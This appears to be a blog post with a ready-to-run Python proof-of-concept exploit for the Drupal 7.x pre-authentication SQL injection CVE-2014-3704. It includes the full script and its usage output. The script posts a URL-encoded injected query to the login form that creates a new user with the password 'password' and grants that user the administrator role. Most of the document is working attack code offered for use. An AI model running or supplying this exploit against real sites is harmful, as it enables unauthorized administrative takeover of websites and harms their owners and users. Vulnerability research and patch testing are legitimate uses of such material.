Drupal announced on October 15th they had a critical pre-auth SQL Injection (SQLi) vulnerability – here.  There is a pretty good write up of the vulnerability here.  This post will demonstrate another use case for Python by building up a script to exploit the SQLi flaw to add an administrative user.

The script simply prompts the user for a username to append to the SQLi payload with a static password string of “password”.

This script is invoked with the following syntax:

~$ python cve-2014-3704.py <URL>
[+] Attempting CVE-2014-3704 Drupal 7.x SQLi
Username to add: admin_user
Account created with user: admin_user and password: password

Proof of Concept (PoC) Code:

import sys, urllib2 # Import the required modules for the script

if len(sys.argv) != 2: # Checks to make sure that a URL was supplied as a sys argument "[script] [URL]"
 print "Usage: "+sys.argv[0]+" [URL]"

URL=sys.argv[1] # Assigns URL variable and prints out message
print "[+] Attempting CVE-2014-3704 Drupal 7.x SQLi"
user=raw_input("Username to add: ") # Gets username from user input

Host = URL.split('/')[2] # Parse host from URL: 'http://<host>/' will parse out <host>
headers = { # Set the appropriate headers for the response
 'Host': Host,
 'User-Agent': 'Mozilla',
 'Connection': 'keep-alive'}

# SQL Query send in body of post via the data variable:

# insert into users (uid, name, pass, mail, status) select max(uid)+1, '"+user+"', '[password_hash]', 'email@gmail.com', 1 from users; insert into users_roles (uid, rid) VALUES ((select uid from users where name='"+user+"'), (select rid from role where name = 'administrator')

data = "name%5b0%20%3binsert%20into%20users%20%28uid%2c%20name%2c%20pass%2c%20mail%2c%20status%29%20select%20max%28uid%29%2b1%2c%20%27"+user+"%27%2c%20%27%24S%24$S$CTo9G7Lx27gCe3dTBYhLhZOTqtJrlc7n31BjHl/aWgfK82GIACiTExGY3A9yrK1l3DdUONFFv8xV8SH9wr4r23HJauz47c/%27%2c%20%27email%40gmail.com%27%2c%201%20from%20users%3b%20insert%20into%20users_roles%20%28uid%2c%20rid%29%20VALUES%20%28%28select%20uid%20from%20users%20where%20name%3d%27"+user+"%27%29%2c%20%28select%20rid%20from%20role%20where%20name%20%3d%20%27administrator%27%29%29%3b%3b%20%23%20%5d=zRGAcKznoV&name%5b0%5d=aYxxuroJbo&pass=lGiEbjpEGm&form_build_id=form-5gCSidRr8NruKFEYt3eunbFEhLCfJaGuqGAnu80Vv0M&form_id=user_login_block&op=Log%20in"
req = urllib2.Request(URL+"?q=node&destination=node", data, headers)

try: # Sets up a Try/Except loop so exceptions are handled cleanly
 response = urllib2.urlopen(req) # Actually makes the request
 print "Account created with user: "+user+" and password: password"
except Exception as e: print e